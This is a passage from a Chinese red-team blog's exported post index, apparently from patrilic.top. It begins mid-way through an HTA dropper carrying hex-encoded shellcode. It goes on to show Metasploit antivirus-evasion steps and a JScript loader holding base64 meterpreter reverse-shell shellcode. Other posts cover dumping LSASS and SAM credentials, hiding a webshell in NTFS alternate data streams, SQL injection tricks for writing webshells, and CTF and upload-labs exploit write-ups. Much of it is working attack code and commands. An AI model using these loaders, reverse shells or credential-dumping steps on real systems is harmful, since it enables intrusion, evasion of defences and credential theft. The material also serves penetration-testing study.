000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c6000000000000000000000a46500001c610000a8600000000000000000000024660000886100000000000000000000000000000000000000000000fc6100000c620000246200003c6200004a6200005e620000746200008a6200009a620000ae620000c0620000d2620000ec620000fc620000186300003063000040630000506300006a6300008863000090630000a4630000b2630000ce630000de630000f063000000000000006400000e6400001e6400002a6400003a6400004c640000606400006a64000078640000826400008c64000098640000a0640000a8640000b2640000bc640000c8640000d0640000da640000e2640000ec640000f4640000fe64000008650000126500001c650000266500003065000000000000fc6100000c620000246200003c6200004a6200005e620000746200008a6200009a620000ae620000c0620000d2620000ec620000fc620000186300003063000040630000506300006a6300008863000090630000a4630000b2630000ce630000de630000f063000000000000006400000e6400001e6400002a6400003a6400004c640000606400006a64000078640000826400008c64000098640000a0640000a8640000b2640000bc640000c8640000d0640000da640000e2640000ec640000f4640000fe64000008650000126500001c650000266500003065000000000000a7004372656174655468726561640000c40044656c657465437269746963616c53656374696f6e00df00456e746572437269746963616c53656374696f6e00005301467265654c69627261727900b10147657443757272656e7450726f6365737300b20147657443757272656e7450726f63657373496400b50147657443757272656e7454687265616449640000ee014765744c6173744572726f720000fe014765744d6f64756c6548616e646c65410000290247657450726f63416464726573730000440247657453746172747570496e666f41005b0247657453797374656d54696d65417346696c6554696d650073024765745469636b436f756e740000c602496e697469616c697a65437269746963616c53656374696f6e0001034c65617665437269746963616c53656374696f6e000003034c6f61644c69627261727941000006034c6f61644c69627261727957000067035175657279506572666f726d616e6365436f756e746572003104536574556e68616e646c6564457863657074696f6e46696c746572003d04536c6565700049045465726d696e61746550726f6365737300005004546c7347657456616c7565005d04556e68616e646c6564457863657074696f6e46696c746572000074045669727475616c416c6c6f6300007d045669727475616c50726f74656374000080045669727475616c5175657279000038005f5f646c6c6f6e65786974003b005f5f6765746d61696e61726773003c005f5f696e6974656e760045005f5f6c636f6e765f696e6974000069005f5f7365745f6170705f7479706500006c005f5f736574757365726d61746865727200007a005f61636d646c6e008f005f616d73675f657869740000a0005f63657869740000fc005f666d6f646500003d015f696e69747465726d0041015f696f620000a5015f6c6f636b0047025f6f6e6578697400f5025f756e6c6f636b007b035f77696e6d616a6f7200bd0361626f727400cb0363616c6c6f630000d503657869740000e503667072696e746600ec03667265650000f703667772697465000024046d616c6c6f6300002c046d656d637079000049047369676e616c00005d047374726c656e000060047374726e636d7000800476667072696e7466000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000004b45524e454c33322e646c6c00000000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000001460000014600000146000006d73766372742e646c6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010104000000000000000000060104000a0184000000000000000000010174000c016400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000198040001c804000345040002070400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" Dim var_obj Set var_obj = CreateObject("Scripting.FileSystemObject") Dim var_stream Dim var_tempdir Dim var_tempexe Dim var_basedir Set var_tempdir = var_obj.GetSpecialFolder(2) var_basedir = var_tempdir & "\\" & var_obj.GetTempName() var_obj.CreateFolder(var_basedir) var_tempexe = var_basedir & "\\" & "evil.exe" Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false) For i = 1 to Len(var_shellcode) Step 2 var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2))) Next var_stream.Close Dim var_shell Set var_shell = CreateObject("Wscript.Shell") var_shell.run var_tempexe, 0, true var_obj.DeleteFile(var_tempexe) var_obj.DeleteFolder(var_basedir) End Function var_func self.close</script> 可以看到shellcode为PE格式,执行调用Wscript.shell 同样会被Defender拦截 0x04 MetaSploit::windows_defender_js_htaMsf5更新后新加入了两个evasion evasion/windows/windows_defender_exe evasion/windows/windows_defender_js_hta exe报毒有点惨淡 但是defender和火绒还是没关系的 hta文件Defender,火绒,360都能过 123456789101112msf5 > use evasion/windows/windows_defender_js_htamsf5 evasion(windows/windows_defender_js_hta) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf5 evasion(windows/windows_defender_js_hta) > set lhost 192.168.1set lhost 192.168.1.105 set lhost 192.168.121.1msf5 evasion(windows/windows_defender_js_hta) > set lhost 192.168.1.105lhost => 192.168.1.105msf5 evasion(windows/windows_defender_js_hta) > set lport 8877lport => 8877msf5 evasion(windows/windows_defender_js_hta) > exploit[+] QWZwXErrm.hta stored at /Users/patrilic/.msf4/local/QWZwXErrm.hta 核心代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677import System;import System.Runtime.InteropServices;import System.Reflection;import System.Reflection.Emit;import System.Runtime;import System.Text;function InvokeWin32(dllName:String, returnType:Type, methodName:String, parameterTypes:Type[], parameters:Object[]){ // Begin to build the dynamic assembly var domain = AppDomain.CurrentDomain; var name = new System.Reflection.AssemblyName('PInvokeAssembly'); var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run); var module = assembly.DefineDynamicModule('PInvokeModule'); var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit); // Define the actual P/Invoke method var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes); // Apply the P/Invoke constructor var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType(\"System.String\")]); var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]); method.SetCustomAttribute(attr); // Create the temporary type, and invoke the method. var realType = type.CreateType(); return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);}function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32){ var parameterTypes:Type[] = [Type.GetType(\"System.UInt32\"),Type.GetType(\"System.UInt32\"),Type.GetType(\"System.UInt32\"),Type.GetType(\"System.UInt32\")]; var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect]; return InvokeWin32(\"kernel32.dll\", Type.GetType(\"System.IntPtr\"), \"VirtualAlloc\", parameterTypes, parameters );}function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32){ var parameterTypes:Type[] = [Type.GetType(\"System.UInt32\"),Type.GetType(\"System.UInt32\"),Type.GetType(\"System.IntPtr\"),Type.GetType(\"System.IntPtr\"), Type.GetType(\"System.UInt32\"), Type.GetType(\"System.UInt32\") ]; var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ]; return InvokeWin32(\"kernel32.dll\", Type.GetType(\"System.IntPtr\"), \"CreateThread\", parameterTypes, parameters );}function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32){ var parameterTypes:Type[] = [Type.GetType(\"System.IntPtr\"),Type.GetType(\"System.UInt32\")]; var parameters:Object[] = [handle, dwMiliseconds ]; return InvokeWin32(\"kernel32.dll\", Type.GetType(\"System.IntPtr\"), \"WaitForSingleObject\", parameterTypes, parameters );}function ShellCodeExec(){ var MEM_COMMIT:uint = 0x1000; var PAGE_EXECUTE_READWRITE:uint = 0x40; var shellcodestr:String = '/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCACKtwKgBaUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=' var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr); var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); var hThread:IntPtr = IntPtr.Zero; var threadId:UInt32 = 0; // prepare data var pinfo:IntPtr = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId); WaitForSingleObject(hThread, 0xFFFFFFFF);}try{ShellCodeExec();}catch(e){} hta代码片段 Wscript.shell执行 生成JS执行Shellcode 0x05 LINKSCACTUSTORCH.hta使用mshta.exe绕过应用程序白名单(多种方法)第七十五课:基于白名单Mshta.exe执行payload第五季","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"命令执行","slug":"命令执行","permalink":"http://patrilic.top/tags/命令执行/"}]},{"title":"常用 Windows 抓取Hash","slug":"Windows 抓取Hash","date":"2019-05-04T16:20:33.000Z","updated":"2019-08-20T15:28:22.108Z","comments":true,"path":"2019/05/05/Windows 抓取Hash/","link":"","permalink":"http://patrilic.top/2019/05/05/Windows 抓取Hash/","excerpt":"","text":"@Author: Patrilic@Time: 2019-05-05 0:20:33推荐使用 Procdump,reg 和 sharpdump 导出本地,再想办法从内网中运出来本地破解 测试机器: Windows 10 1809 0x01 Procdump + MimikatzProcdump(管理员权限下运行)12C:\\temp\\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bitsC:\\temp\\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits 然后本地解出hash即可12sekurlsa::minidump C:\\lsass.dmpsekurlsa::logonpasswords full 0x02 Reg + impacket/Mimikatz (强推)使用Reg需要NT/SYSTEM权限12345reg save HKLM\\SYSTEM system.hivreg save HKLM\\SAM sam.hivreg save HKLM\\security security.hiv Mimikatz 调用 lsadump1lsadump::sam /system:system.hiv /sam:sam.hiv impacket/secretsdump.py1python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL 0x03 Sharpdump (强推)Out-Minidump.ps1 的 C#版本 编译结果需要.NET 3.5版本框架 0x04 Wce、Quarks PwDump、GetPass……没怎么用过,都是以前比较老的,Getpass是Mimikatz的编译版本,没啥意思 0x05 Msf moduleshashdump条件: Meterpreter Session NT/SYSTEM hashdump只能dump本地用户 smart_hashdump条件 Meterpreter Session NT/SYSTEM 可以dump本地 + 域用户hash kiwi条件 Meterpreter Session NT/SYSTEM","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/tags/内网渗透/"}]},{"title":"第十二届全国大学生信息安全竞赛初赛部分Web Write up","slug":"第十二届全国大学生信息安全竞赛初赛Write up","date":"2019-04-23T03:20:33.000Z","updated":"2019-08-20T15:30:48.652Z","comments":true,"path":"2019/04/23/第十二届全国大学生信息安全竞赛初赛Write up/","link":"","permalink":"http://patrilic.top/2019/04/23/第十二届全国大学生信息安全竞赛初赛Write up/","excerpt":"","text":"@Author: Patrilic@Time: 2019-04-23 11:20:33 Web1 - JustSosoIndex.php12345678910111213141516171819202122<?phperror_reporting(E_ALL);$payload = $_GET[\"payload\"];require $_GET['file'];if (isset($payload)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'], $query); foreach ($query as $value) { if (preg_match(\"/flag/\", $value)) { echo 'gg'; exit(); } } $payload = unserialize($payload);} else { echo \"Missing parameters\";}?> Hint.php1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253<?phperror_reporting(E_ALL);class Handle{ private $handle; // 绕过wakeup public function __wakeup() { foreach (get_object_vars($this) as $k => $v) { $this->$k = null; } echo \"Waking up\\n\"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct() { $this->handle->getFlag(); }}class Flag{ public $file; public $token; public $token_flag; function __construct($file) { $this->file = $file; $this->token_flag = $this->token = md5(rand(1, 10000)); } public function getFlag() { $this->token_flag = md5(rand(1, 10000)); if ($this->token === $this->token_flag) { if (isset($this->file)) { echo @highlight_file($this->file, true); } } }}?> poc.php123456789101112<?phprequire \"hint.php\";$flag = new Flag('flag.php');$flag->token = 'b706835de79a2b4e80506f582af3676a';$flag->token_flag = &$flag->token;$handle = new Handle($flag);$s = serialize($handle);echo urlencode($s); parse_url绕过正则:http://lawlietweb.com/2018/05/13/parse_url/wake_up绕过:https://paper.seebug.org/39/ Web2 - 全宇宙最简单的SQL过滤 or if sleep benchmark参考bctf-love-q利用pow()在条件为假时返回error 运算符作条件判断,如果错误数据库报错:利用pow的溢出判断limit位数的ascii 在题目中正确返回登陆失败,错误返回数据库失败 Exp:1234567891011121314151617181920212223242526272829303132import requestsVERSION = \"version()\"USERNAME = \"select username from user limit 1\"PASSWORD = \"select (select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1,1)\"url = \"http://cba0e34ee5d34db985195191f4c681d5c32c4b92db574826.changame.ichunqiu.com\"result = ''for i in range(1, 50): for j in range(31, 128): payload = { \"username\": \"1'-pow(2,1024-ascii(substr(({data}),{pos},1))+{code})-- -\".format( data=PASSWORD, pos=i, code=j ), \"password\": \"1\" } try: resp = requests.post(url=url, data=payload) resp.encoding = 'utf8' if '数据库操作失败' in resp.text: result += chr(j) print(result) break except Exception as e: print(e) continue 利用mysql别名(参考博客中Mysql Injection中# 不用列名的注入) 跑出password : F1AG@1s-at_/fll1llag_h3r3 进入后台为远程数据库连接界面,理想到fake_mysqlServer读文件参考文章https://xz.aliyun.com/t/3973 修改这个脚本里的filelisthttps://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py 然后让题目服务器连接即可 Web3 - lovemath直接嫖队友@hpdoger的wp orz 读到calc.php的源码 黑名单肯定是绕不过去,虽然有/m但是\\r在黑名单所以不存在换行绕过。注意看下面的whitelist。正则匹配函数名,只允许Eval使用白名单的函数做字符串所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下想办法把数字变成字母,着眼于函数base_convert,官方描述如下它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字->字母的转化,成功打印Phpinfo如下因为字符串长度限制,我最开始的想法是这样的:12$input = hexdec(bin2hex(“system(‘cat /flag’);”))$result = base_convert(10进制编码的hex2bin,10,36).dechex($input) 失败的POC是这样:1base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872)) bin2hex后由于转换出来的16进制数值过大,导致转换的int值很大无法正常被dechex还原而溢出。 卡在这里很久,最后换了一种小数还原的思路。 我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。 Payload如下,注意用白名单的值作为变量参数,否则还是会被拦截1$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1}) 转换的调用栈如下: 直接发包给到C参数,成功getflag 还在群里看到一位师傅的Payload 1base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194))) 1exec(nl f*); 79位…… orz","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://patrilic.top/tags/CTF/"}]},{"title":"ADS隐藏后门","slug":"ADS 隐藏后门","date":"2019-04-18T03:20:33.000Z","updated":"2019-08-21T00:42:18.019Z","comments":true,"path":"2019/04/18/ADS 隐藏后门/","link":"","permalink":"http://patrilic.top/2019/04/18/ADS 隐藏后门/","excerpt":"","text":"@Author: Patrilic@Time: 2019-04-18 11:20:33高铁上没事干,把以前的笔记总结一下[toc] ADSNTFS交换数据流(alternate data streams,简称ADS) ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单,命令为”宿主文件:准备与宿主文件关联的数据流文件”。 —– baike.baidu.com 文件命名: ads.txt 普通txt文件 (主文件)ads.txt:nop.txt (寄宿文件) 使用dir命令不能看到,必须使用dir /r Webshell(过D盾)1C:\\phpStudy\\PHPTutorial\\WWW\\webshell>echo \"<?php phpinfo();?>\" > index.php:s.txt 将 小马写入index.php:s.txt中 ,然后再index.php中includeD盾不能获取非主文件流1234567index.php<?php $a="696e6465782e70"."68703a732e747874"; $b="a"; include(PACK('H*',$$b))?> 123index.php:s.txt<?php @eval($_POST['chopper']);?> 测试0x01 环境12MacOS ipaddress: 192.168.43.223Windows 10 ipaddress: 192.168.121.132 0x02 生成shell1msfvenom --platform Windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 lport=8888 -f exe -o shell.exe 0x03 植入后门环境描述:拿到了webshell,经过提权,权限为本地管理员上传一个后门文件 使用type将shell.exe数据写入依附在hello.txt上 1mklink \"c:\\backdoor\\link.exe\" \"c:\\backdoor\\hello.txt:shell.exe\" server 2k3后不能直接执行exe,必须建立链接1start link.exe /b 成功回弹session Thankshttps://docs.microsoft.com/en-us/previous-versions/ms854468(v=msdn.10)https://klionsec.github.io/2017/11/13/ntfs-streams/https://blog.csdn.net/migee/article/details/56028011https://blog.csdn.net/xiaoxuetu_/article/details/77318670","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"Backdoor","slug":"Backdoor","permalink":"http://patrilic.top/tags/Backdoor/"}]},{"title":"MySQL Injection Tricks","slug":"MySQL Injection","date":"2019-04-14T15:20:33.000Z","updated":"2019-08-20T15:31:40.337Z","comments":true,"path":"2019/04/14/MySQL Injection/","link":"","permalink":"http://patrilic.top/2019/04/14/MySQL Injection/","excerpt":"","text":"@Author: Patrilic@Time: 2019-04-14 23:20:33 Header总结一波MySQL下各式各样等注入技巧~Test Machine Configuration OS:MacOS Mojave 10.14.2MySQL: MySQL 5.7.19-log 测试表结构: limitEmmmm,测试失败了翻了一些文章,发现limit之后的analyse() 只适用于MySQL server version <= 5.6.6 遂使用 Windows7 x64 + MySQL 5.5.53 测试语句1SELECT username FROM user LIMIT {$uid},3; Limit 注入主要是因为后面有一个 PROCEDURE analyse() 存储过程 构造报错注入1SELECT username FROM user LIMIT 1,3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 因为5.5版本不能使用SELECT,所以只能获取一些配置信息等 exp123SELECT username FROM user LIMIT 1,3 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) order by测试语句:1SELECT * FROM user order by uid {evil}; Order by + 报错注入 order by + 时间盲注 order by + union查询 此注入必须使用()包围SQL语句 order by + regexp 盲注 这里解释一下语句当正则未匹配到数据时候返回的结果是0 所以SQL语句相当于1select * from user order by uid ^ 0; 排序不变exp123456789SELECT * FROM user ORDER BY uid and extractvalue(1,concat(0x3a,user()));SELECT * FROM user ORDER BY uid and updatexml(1,concat(0x3a,user()),1);select * from user order by uid ^(select (select version()) regexp '^aaaaaa');select * from user order by uid,(select 1 from (select sleep(3))a);(select * from user order by uid) union (select 1,(select version()),3,4); from测试语句1SELECT * FROM {$Tables}; 直接嵌套子查询 exp版本限制: Version <= 5.5.5123select exp(~(select*from(select user())x));insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'patrilic'); ExtractValue1Select * from user where uid = 1 and (extractvalue('String',(select user()))); extractvalue(target file,xml path) UpdateXml1Select * from user where uid = 1 and (updatexml('String',(Select user()),'String')); updatexml(Target file,xml path,updateinfo) name_const1Select * from user where uid = 1 and (select name_const(version(),1),name_const(version(),1)); name_const(‘1’, 14)局限性很大 整数溢出报错注入略 insert1Insert INTO user (uid,username,password,city) VALUES (?,?,?,?); delect1DELETE FROM user WHERE uid={$uid}; update1UPDATE user SET password = {$password} Where username = {session.user} and uid = {session.uid} into outfile主要用途:写shell要求: 要求用户具有file权限 文件不能覆盖写入,所以文件必须为不存在 如果secure_file_priv非空,则写入文件的目录只能为对应目录下 into outfile + UNION 1SELECT * FROM user WHERE uid = -1 union select 1,2,3,0x3c3f70687020706870696e666f28293b3f3e into outfile 'Y:/123.php'; into outfile + LINES TERMINATED BY (limit)1select * from user order by uid limit 1,1 into outfile 'Y:/123.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e; into outfile + FIELDS TERMINATED BY (limit)1select * from user order by uid limit 1,1 into outfile 'Y:/123.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e; into outfile + LINES STARTING BY (limit)1select * from user order by uid limit 1,1 into outfile 'Y:/123.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e; load_file主要用途:读文件要求: 要求用户具有file权限 如果secure_file_priv非空,则只能读取对应目录下的文件 load_file + UNION 1select * from user where uid = -1 union select 1,2,3,(select load_file('Y:/123.php')); load_file + updatexml1select * from user where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('Y:/123.php')),0x7e),0); load_file + extractive1select * from user where uid=-1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('Y:/1.php'))),0x7e))); load_file + isnull + updatexml1select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0); 存在文件 返回0不存在文件 返回1 Dumpfile1SELECT _utf8'Hello world!' INTO DUMPFILE 'Y:/world.php'; Case When Pow运算符作条件判断,如果错误数据库报错:利用pow的溢出判断limit位数的ascii In 不知道列名的注入看原文比较好,直接复现一下 ThanksMySQLi Cookbooklcamry’s blog报错注入邂逅load_file&into outfile搭讪LINESsqli-extracting-data-without-knowing-columns-namewangyihang-sqli-labs-Script史上最水的MYSQL注入总结","categories":[{"name":"SQLi Tricks","slug":"SQLi-Tricks","permalink":"http://patrilic.top/categories/SQLi-Tricks/"}],"tags":[{"name":"SQL注入","slug":"SQL注入","permalink":"http://patrilic.top/tags/SQL注入/"}]},{"title":"Upload-labs Writeup","slug":"Upload-labs Writeup","date":"2019-04-05T03:20:33.000Z","updated":"2019-08-20T15:31:54.302Z","comments":true,"path":"2019/04/05/Upload-labs Writeup/","link":"","permalink":"http://patrilic.top/2019/04/05/Upload-labs Writeup/","excerpt":"","text":"@Author: Patrilic@Time: 2019-01-05 11:20:33 Pass-01JS判断直接禁用js就行了 Pass-02常规绕过,Content-type Pass-031234567$deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 如果服务器解析php5,phtml类似的就可以直接上传,也没有限制.htaccess方式多种 Pass-041234567$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\"php1\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\"pHp1\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 过滤了一堆后缀,然而并没有过滤.htaccess文件,而且逻辑也有问题,先进行了全部的大小写先上传一个.htaccess文件1SetHandler application/x-httpd-php 然后传图片马就行了 Pass-05123456$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 过滤了.htaccess,同样可以大小写绕过 Pass-06123456$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA 没有经过trim() 带个空格就绕过了 Pass-07123456$deny_ext = array(\".php\",\".php5\",\".php4\",\".php3\",\".php2\",\".html\",\".htm\",\".phtml\",\".pht\",\".pHp\",\".pHp5\",\".pHp4\",\".pHp3\",\".pHp2\",\".Html\",\".Htm\",\".pHtml\",\".jsp\",\".jspa\",\".jspx\",\".jsw\",\".jsv\",\".jspf\",\".jtml\",\".jSp\",\".jSpx\",\".jSpa\",\".jSw\",\".jSv\",\".jSpf\",\".jHtml\",\".asp\",\".aspx\",\".asa\",\".asax\",\".ascx\",\".ashx\",\".asmx\",\".cer\",\".aSp\",\".aSpx\",\".aSa\",\".aSax\",\".aScx\",\".aShx\",\".aSmx\",\".cEr\",\".sWf\",\".swf\",\".htaccess\"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 